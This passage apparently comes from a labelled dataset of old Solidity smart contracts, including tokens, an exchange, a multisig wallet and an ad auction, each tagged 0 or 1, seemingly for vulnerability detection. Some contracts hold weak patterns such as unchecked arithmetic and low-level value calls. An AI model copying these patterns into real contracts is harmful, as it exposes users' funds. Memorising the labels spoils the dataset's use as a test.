allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
balanceOf[_from] = balanceOf[_from].sub(_value);
allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_from, _value);
return true;
}
}
contract Token is owned, TokenERC20 {
uint256 _initialSupply=420000000;
string _tokenName="testdist";
string _tokenSymbol="tsdt";
address wallet1 = 0x8012Eb27b9F5Ac2b74A975a100F60d2403365871;
uint256 public startTime;
mapping (address => bool) public frozenAccount;
function Token( ) TokenERC20(_initialSupply, _tokenName, _tokenSymbol) public {
startTime = now;
balanceOf[wallet1] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
} | 1 |
pragma solidity ^0.4.19;
contract Token {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function transfer(address _to, uint256 _value) returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
}
contract Exchange {
function assert(bool assertion) {
if (!assertion) throw;
}
function safeMul(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
address public owner;
mapping (address => bool) public admins;
mapping (address => bool) public futuresContracts;
event SetFuturesContract(address futuresContract, bool isFuturesContract);
event SetOwner(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function setOwner(address newOwner) onlyOwner {
SetOwner(owner, newOwner);
owner = newOwner;
}
function getOwner() returns (address out) {
return owner;
}
function setAdmin(address admin, bool isAdmin) onlyOwner {
admins[admin] = isAdmin;
}
function setFuturesContract(address futuresContract, bool isFuturesContract) onlyOwner {
futuresContracts[futuresContract] = isFuturesContract;
emit SetFuturesContract(futuresContract, isFuturesContract);
}
modifier onlyAdmin {
if (msg.sender != owner && !admins[msg.sender]) throw;
_;
}
modifier onlyFuturesContract {
if (!futuresContracts[msg.sender]) throw;
_;
}
function() external {
throw;
}
mapping (address => mapping (address => uint256)) public balances;
mapping (address => uint256) public lastActiveTransaction;
mapping (bytes32 => uint256) public orderFills;
address public feeAccount;
address public EtmTokenAddress;
uint256 public inactivityReleasePeriod;
mapping (bytes32 => bool) public withdrawn;
uint256 public makerFee;
uint256 public takerFee;
enum Errors {
INVLID_PRICE,
INVLID_SIGNATURE,
TOKENS_DONT_MATCH,
ORDER_ALREADY_FILLED,
GAS_TOO_HIGH
}
event Trade(
address takerTokenBuy, uint256 takerAmountBuy,
address takerTokenSell, uint256 takerAmountSell,
address maker, address indexed taker,
uint256 makerFee, uint256 takerFee,
uint256 makerAmountTaken, uint256 takerAmountTaken,
bytes32 indexed makerOrderHash, bytes32 indexed takerOrderHash
);
event Deposit(address indexed token, address indexed user, uint256 amount, uint256 balance);
event Withdraw(address indexed token, address indexed user, uint256 amount, uint256 balance, uint256 withdrawFee);
event WithdrawTo(address indexed token, address indexed to, address indexed from, uint256 amount, uint256 balance, uint256 withdrawFee);
event FeeChange(uint256 indexed makerFee, uint256 indexed takerFee);
event LogError(uint8 indexed errorId, bytes32 indexed makerOrderHash, bytes32 indexed takerOrderHash);
event LogUint(uint8 id, uint256 value);
event LogBool(uint8 id, bool value);
event LogAddress(uint8 id, address value);
event InactivityReleasePeriodChange(uint256 value);
event CancelOrder(
bytes32 indexed cancelHash,
bytes32 indexed orderHash,
address indexed user,
address tokenSell,
uint256 amountSell,
uint256 cancelFee
);
function setInactivityReleasePeriod(uint256 expiry) onlyOwner returns (bool success) {
if (expiry > 1000000) throw;
inactivityReleasePeriod = expiry;
emit InactivityReleasePeriodChange(expiry);
return true;
}
function Exchange(address feeAccount_, uint256 makerFee_, uint256 takerFee_) {
owner = msg.sender;
feeAccount = feeAccount_;
inactivityReleasePeriod = 100000;
makerFee = makerFee_;
takerFee = takerFee_;
}
function setFees(uint256 makerFee_, uint256 takerFee_) onlyOwner {
require(makerFee_ < 10 finney && takerFee_ < 10 finney);
makerFee = makerFee_;
takerFee = takerFee_;
emit FeeChange(makerFee, takerFee);
}
function depositToken(address token, uint128 amount) {
addBalance(token, msg.sender, amount);
lastActiveTransaction[msg.sender] = block.number;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
emit Deposit(token, msg.sender, amount, balanceOf(token, msg.sender));
}
function updateBalanceAndReserve (address token, address user, uint256 balance, uint256 reserve) private
{
uint256 character = uint256(balance);
character |= reserve<<128;
balances[token][user] = character;
}
function updateBalance (address token, address user, uint256 balance) private returns (bool)
{
uint256 character = uint256(balance);
character |= getReserve(token, user)<<128;
balances[token][user] = character;
return true;
}
function updateReserve (address token, address user, uint256 reserve) private
{
uint256 character = uint256(balanceOf(token, user));
character |= reserve<<128;
balances[token][user] = character;
}
function decodeBalanceAndReserve (address token, address user) returns (uint256[2])
{
uint256 character = balances[token][user];
uint256 balance = uint256(uint128(character));
uint256 reserve = uint256(uint128(character>>128));
return [balance, reserve];
}
function balanceOf(address token, address user) view returns (uint256) {
return decodeBalanceAndReserve(token, user)[0];
}
function getReserve(address token, address user) public view returns (uint256) {
return decodeBalanceAndReserve(token, user)[1];
}
function setReserve(address token, address user, uint256 amount) onlyFuturesContract returns (bool success) {
if (availableBalanceOf(token, user) < amount) throw;
updateReserve(token, user, amount);
return true;
}
function setBalance(address token, address user, uint256 amount) onlyFuturesContract returns (bool success) {
updateBalance(token, user, amount);
return true;
}
function subBalanceAddReserve(address token, address user, uint256 subBalance, uint256 addReserve) onlyFuturesContract returns (bool)
{
updateBalanceAndReserve(token, user, safeSub(balanceOf(token, user), subBalance), safeAdd(getReserve(token, user), addReserve));
}
function addBalanceSubReserve(address token, address user, uint256 addBalance, uint256 subReserve) onlyFuturesContract returns (bool)
{
updateBalanceAndReserve(token, user, safeAdd(balanceOf(token, user), addBalance), safeSub(getReserve(token, user), subReserve));
}
function subBalanceSubReserve(address token, address user, uint256 subBalance, uint256 subReserve) onlyFuturesContract returns (bool)
{
updateBalanceAndReserve(token, user, safeSub(balanceOf(token, user), subBalance), safeSub(getReserve(token, user), subReserve));
}
function availableBalanceOf(address token, address user) view returns (uint256) {
return safeSub(balanceOf(token, user), getReserve(token, user));
}
function getInactivityReleasePeriod() view returns (uint256)
{
return inactivityReleasePeriod;
}
function addBalance(address token, address user, uint256 amount)
{
updateBalance(token, user, safeAdd(balanceOf(token, user), amount));
}
function subBalance(address token, address user, uint256 amount)
{
if (availableBalanceOf(token, user) < amount) throw;
updateBalance(token, user, safeSub(balanceOf(token, user), amount));
}
function deposit() payable {
addBalance(address(0), msg.sender, msg.value);
lastActiveTransaction[msg.sender] = block.number;
emit Deposit(address(0), msg.sender, msg.value, balanceOf(address(0), msg.sender));
}
function depositTokenFor(address token, uint128 amount, address destinationUser) returns (bool success) {
addBalance(token, destinationUser, amount);
lastActiveTransaction[destinationUser] = block.number;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
emit Deposit(token, destinationUser, amount, balanceOf(token, destinationUser));
return true;
}
function depositFor(address destinationUser) payable returns (bool success) {
addBalance(address(0), destinationUser, msg.value);
lastActiveTransaction[destinationUser] = block.number;
emit Deposit(address(0), destinationUser, msg.value, balanceOf(address(0), destinationUser));
return true;
}
function withdraw(address token, uint256 amount) returns (bool success) {
if (availableBalanceOf(token, msg.sender) < amount) throw;
subBalance(token, msg.sender, amount);
if (token == address(0)) {
if (!msg.sender.send(amount)) throw;
} else {
if (!Token(token).transfer(msg.sender, amount)) throw;
}
emit Withdraw(token, msg.sender, amount, balanceOf(token, msg.sender), 0);
}
function adminWithdraw(
address token,
uint256 amount,
address user,
uint256 nonce,
uint8 v,
bytes32 r,
bytes32 s,
uint256 feeWithdrawal
) onlyAdmin returns (bool success) {
bytes32 hash = keccak256(this, token, amount, user, nonce);
if (withdrawn[hash]) throw;
withdrawn[hash] = true;
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) != user) throw;
if (feeWithdrawal > 50 finney) feeWithdrawal = 50 finney;
if (availableBalanceOf(token, user) < amount) throw;
subBalance(token, user, amount);
subBalance(address(0), user, feeWithdrawal);
addBalance(address(0), feeAccount, feeWithdrawal);
if (token == address(0)) {
if (!user.send(amount)) throw;
} else {
if (!Token(token).transfer(user, amount)) throw;
}
lastActiveTransaction[user] = block.number;
emit Withdraw(token, user, amount, balanceOf(token, user), feeWithdrawal);
}
function batchAdminWithdraw(
address[] token,
uint256[] amount,
address[] user,
uint256[] nonce,
uint8[] v,
bytes32[] r,
bytes32[] s,
uint256[] feeWithdrawal
) onlyAdmin
{
for (uint i = 0; i < amount.length; i++) {
adminWithdraw(
token[i],
amount[i],
user[i],
nonce[i],
v[i],
r[i],
s[i],
feeWithdrawal[i]
);
}
}
function getMakerTakerBalances(address token, address maker, address taker) view returns (uint256[4])
{
return [
balanceOf(token, maker),
balanceOf(token, taker),
getReserve(token, maker),
getReserve(token, taker)
];
}
struct OrderPair {
uint256 makerAmountBuy;
uint256 makerAmountSell;
uint256 makerNonce;
uint256 takerAmountBuy;
uint256 takerAmountSell;
uint256 takerNonce;
uint256 takerGasFee;
uint256 takerIsBuying;
address makerTokenBuy;
address makerTokenSell;
address maker;
address takerTokenBuy;
address takerTokenSell;
address taker;
bytes32 makerOrderHash;
bytes32 takerOrderHash;
}
struct TradeValues {
uint256 qty;
uint256 invQty;
uint256 makerAmountTaken;
uint256 takerAmountTaken;
}
function trade(
uint8[2] v,
bytes32[4] rs,
uint256[8] tradeValues,
address[6] tradeAddresses
) returns (uint filledTakerTokenAmount)
{
OrderPair memory t = OrderPair({
makerAmountBuy : tradeValues[0],
makerAmountSell : tradeValues[1],
makerNonce : tradeValues[2],
takerAmountBuy : tradeValues[3],
takerAmountSell : tradeValues[4],
takerNonce : tradeValues[5],
takerGasFee : tradeValues[6],
takerIsBuying : tradeValues[7],
makerTokenBuy : tradeAddresses[0],
makerTokenSell : tradeAddresses[1],
maker : tradeAddresses[2],
takerTokenBuy : tradeAddresses[3],
takerTokenSell : tradeAddresses[4],
taker : tradeAddresses[5],
makerOrderHash : keccak256(this, tradeAddresses[0], tradeValues[0], tradeAddresses[1], tradeValues[1], tradeValues[2], tradeAddresses[2]),
takerOrderHash : keccak256(this, tradeAddresses[3], tradeValues[3], tradeAddresses[4], tradeValues[4], tradeValues[5], tradeAddresses[5])
});
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.makerOrderHash), v[0], rs[0], rs[1]) != t.maker)
{
emit LogError(uint8(Errors.INVLID_SIGNATURE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.takerOrderHash), v[1], rs[2], rs[3]) != t.taker)
{
emit LogError(uint8(Errors.INVLID_SIGNATURE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
if (t.makerTokenBuy != t.takerTokenSell || t.makerTokenSell != t.takerTokenBuy)
{
emit LogError(uint8(Errors.TOKENS_DONT_MATCH), t.makerOrderHash, t.takerOrderHash);
return 0;
}
if (t.takerGasFee > 100 finney)
{
emit LogError(uint8(Errors.GAS_TOO_HIGH), t.makerOrderHash, t.takerOrderHash);
return 0;
}
if (!(
(t.takerIsBuying == 0 && safeMul(t.makerAmountSell, 1 ether) / t.makerAmountBuy >= safeMul(t.takerAmountBuy, 1 ether) / t.takerAmountSell)
||
(t.takerIsBuying > 0 && safeMul(t.makerAmountBuy, 1 ether) / t.makerAmountSell <= safeMul(t.takerAmountSell, 1 ether) / t.takerAmountBuy)
))
{
emit LogError(uint8(Errors.INVLID_PRICE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
TradeValues memory tv = TradeValues({
qty : 0,
invQty : 0,
makerAmountTaken : 0,
takerAmountTaken : 0
});
if (t.takerIsBuying == 0)
{
tv.qty = min(safeSub(t.makerAmountBuy, orderFills[t.makerOrderHash]), safeSub(t.takerAmountSell, safeMul(orderFills[t.takerOrderHash], t.takerAmountSell) / t.takerAmountBuy));
if (tv.qty == 0)
{
emit LogError(uint8(Errors.ORDER_ALREADY_FILLED), t.makerOrderHash, t.takerOrderHash);
return 0;
}
tv.invQty = safeMul(tv.qty, t.makerAmountSell) / t.makerAmountBuy;
tv.makerAmountTaken = safeSub(tv.qty, safeMul(tv.qty, makerFee) / (1 ether));
addBalance(t.makerTokenBuy, feeAccount, safeMul(tv.qty, makerFee) / (1 ether));
tv.takerAmountTaken = safeSub(safeSub(tv.invQty, safeMul(tv.invQty, takerFee) / (1 ether)), safeMul(tv.invQty, t.takerGasFee) / (1 ether));
addBalance(t.takerTokenBuy, feeAccount, safeAdd(safeMul(tv.invQty, takerFee) / (1 ether), safeMul(tv.invQty, t.takerGasFee) / (1 ether)));
subBalance(t.makerTokenSell, t.maker, tv.invQty);
addBalance(t.makerTokenBuy, t.maker, tv.makerAmountTaken);
subBalance(t.takerTokenSell, t.taker, tv.qty);
addBalance(t.takerTokenBuy, t.taker, tv.takerAmountTaken);
orderFills[t.makerOrderHash] = safeAdd(orderFills[t.makerOrderHash], tv.qty);
orderFills[t.takerOrderHash] = safeAdd(orderFills[t.takerOrderHash], safeMul(tv.qty, t.takerAmountBuy) / t.takerAmountSell);
lastActiveTransaction[t.maker] = block.number;
lastActiveTransaction[t.taker] = block.number;
emit Trade(
t.takerTokenBuy, tv.qty,
t.takerTokenSell, tv.invQty,
t.maker, t.taker,
makerFee, takerFee,
tv.makerAmountTaken , tv.takerAmountTaken,
t.makerOrderHash, t.takerOrderHash
);
return tv.qty;
}
else
{
tv.qty = min(safeSub(t.makerAmountSell, safeMul(orderFills[t.makerOrderHash], t.makerAmountSell) / t.makerAmountBuy), safeSub(t.takerAmountBuy, orderFills[t.takerOrderHash]));
if (tv.qty == 0)
{
emit LogError(uint8(Errors.ORDER_ALREADY_FILLED), t.makerOrderHash, t.takerOrderHash);
return 0;
}
tv.invQty = safeMul(tv.qty, t.makerAmountBuy) / t.makerAmountSell;
tv.makerAmountTaken = safeSub(tv.invQty, safeMul(tv.invQty, makerFee) / (1 ether));
addBalance(t.makerTokenBuy, feeAccount, safeMul(tv.invQty, makerFee) / (1 ether));
tv.takerAmountTaken = safeSub(safeSub(tv.qty, safeMul(tv.qty, takerFee) / (1 ether)), safeMul(tv.qty, t.takerGasFee) / (1 ether));
addBalance(t.takerTokenBuy, feeAccount, safeAdd(safeMul(tv.qty, takerFee) / (1 ether), safeMul(tv.qty, t.takerGasFee) / (1 ether)));
subBalance(t.makerTokenSell, t.maker, tv.qty);
addBalance(t.makerTokenBuy, t.maker, tv.makerAmountTaken);
subBalance(t.takerTokenSell, t.taker, tv.invQty);
addBalance(t.takerTokenBuy, t.taker, tv.takerAmountTaken);
orderFills[t.makerOrderHash] = safeAdd(orderFills[t.makerOrderHash], tv.invQty);
orderFills[t.takerOrderHash] = safeAdd(orderFills[t.takerOrderHash], tv.qty);
lastActiveTransaction[t.maker] = block.number;
lastActiveTransaction[t.taker] = block.number;
emit Trade(
t.takerTokenBuy, tv.qty,
t.takerTokenSell, tv.invQty,
t.maker, t.taker,
makerFee, takerFee,
tv.makerAmountTaken , tv.takerAmountTaken,
t.makerOrderHash, t.takerOrderHash
);
return tv.qty;
}
}
function batchOrderTrade(
uint8[2][] v,
bytes32[4][] rs,
uint256[8][] tradeValues,
address[6][] tradeAddresses
)
{
for (uint i = 0; i < tradeAddresses.length; i++) {
trade(
v[i],
rs[i],
tradeValues[i],
tradeAddresses[i]
);
}
}
function cancelOrder(
uint8[2] v,
bytes32[4] rs,
uint256[5] cancelValues,
address[4] cancelAddresses
) public {
bytes32 orderHash = keccak256(
this, cancelAddresses[0], cancelValues[0], cancelAddresses[1],
cancelValues[1], cancelValues[2], cancelAddresses[2]
);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", orderHash), v[0], rs[0], rs[1]) == cancelAddresses[2]);
bytes32 cancelHash = keccak256(this, orderHash, cancelAddresses[3], cancelValues[3]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", cancelHash), v[1], rs[2], rs[3]) == cancelAddresses[3]);
require(cancelAddresses[2] == cancelAddresses[3]);
require(orderFills[orderHash] != cancelValues[0]);
if (cancelValues[4] > 50 finney) {
cancelValues[4] = 50 finney;
}
subBalance(address(0), cancelAddresses[3], cancelValues[4]);
orderFills[orderHash] = cancelValues[0];
emit CancelOrder(cancelHash, orderHash, cancelAddresses[3], cancelAddresses[1], cancelValues[1], cancelValues[4]);
}
function min(uint a, uint b) private pure returns (uint) {
return a < b ? a : b;
}
} | 0 |
pragma solidity ^ 0.4 .9;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract QTUM {
using SafeMath
for uint256;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) balances;
uint256 public totalSupply;
uint256 public decimals;
address public owner;
bytes32 public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
function QTUM() {
totalSupply = 33555111;
symbol = 'QTUM';
owner = 0x91b5a9194b0293d793dc15678d46575894d45898;
balances[owner] = totalSupply;
decimals = 0;
}
function balanceOf(address _owner) constant returns(uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) returns(bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns(bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function() {
revert();
}
} | 1 |
pragma solidity 0.4.19;
contract MultiSigWallet {
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
function getOwners()
public
constant
returns (address[])
{
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 1 |
pragma solidity ^0.4.18;
contract EIP20Interface {
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SmartDollar is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string constant public name = "Smart Dollar";
uint256 constant public decimals = 8;
string constant public symbol = "SmartDollar";
uint256 public totalSupply;
function SmartDollar( ) public {
totalSupply = 1000000000 * 10**decimals;
balances[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 |
pragma solidity ^0.4.18;
contract GPUMining{
function buyEggs() public payable;
}
contract AdPotato{
address ceoAddress;
GPUMining fundsTarget;
Advertisement[] ads;
uint256 NUM_ADS=10;
uint256 BASE_PRICE=0.005 ether;
uint256 PERCENT_TAXED=30;
event BoughtAd(address sender, uint256 amount);
modifier onlyCLevel() {
require(
msg.sender == ceoAddress
);
_;
}
function AdPotato() public{
ceoAddress=msg.sender;
initialize(0xa965Fb4db32D8600edcd5CC102a43E798BC3F08f);
}
struct Advertisement{
string text;
string url;
address owner;
uint256 startingLevel;
uint256 startingTime;
uint256 halfLife;
}
function initialize(address fund) public onlyCLevel{
fundsTarget=GPUMining(fund);
for(uint i=0;i<NUM_ADS;i++){
ads.push(Advertisement({text:"Your Text Here",url:"",owner:ceoAddress,startingLevel:0,startingTime:now,halfLife:12 hours}));
}
}
function buyAd(uint256 index,string text,string url) public payable{
require(ads.length>index);
require(msg.sender==tx.origin);
Advertisement storage toBuy=ads[index];
uint256 currentLevel=getCurrentLevel(toBuy.startingLevel,toBuy.startingTime,toBuy.halfLife);
uint256 currentPrice=getCurrentPrice(currentLevel);
require(msg.value>=currentPrice);
uint256 purchaseExcess = SafeMath.sub(msg.value, currentPrice);
toBuy.text=text;
toBuy.url=url;
toBuy.startingLevel=currentLevel+1;
toBuy.startingTime=now;
fundsTarget.buyEggs.value(SafeMath.div(SafeMath.mul(currentPrice,PERCENT_TAXED),100))();
toBuy.owner.transfer(SafeMath.div(SafeMath.mul(currentPrice,100-PERCENT_TAXED),100));
toBuy.owner=msg.sender;
msg.sender.transfer(purchaseExcess);
emit BoughtAd(msg.sender,purchaseExcess);
}
function getAdText(uint256 index)public view returns(string){
return ads[index].text;
}
function getAdUrl(uint256 index)public view returns(string){
return ads[index].url;
}
function getAdOwner(uint256 index) public view returns(address){
return ads[index].owner;
}
function getAdPrice(uint256 index) public view returns(uint256){
Advertisement ad=ads[index];
return getCurrentPrice(getCurrentLevel(ad.startingLevel,ad.startingTime,ad.halfLife));
}
function getCurrentPrice(uint256 currentLevel) public view returns(uint256){
return BASE_PRICE*2**currentLevel;
}
function getCurrentLevel(uint256 startingLevel,uint256 startingTime,uint256 halfLife)public view returns(uint256){
uint256 timePassed=SafeMath.sub(now,startingTime);
uint256 levelsPassed=SafeMath.div(timePassed,halfLife);
if(startingLevel<levelsPassed){
return 0;
}
return SafeMath.sub(startingLevel,levelsPassed);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
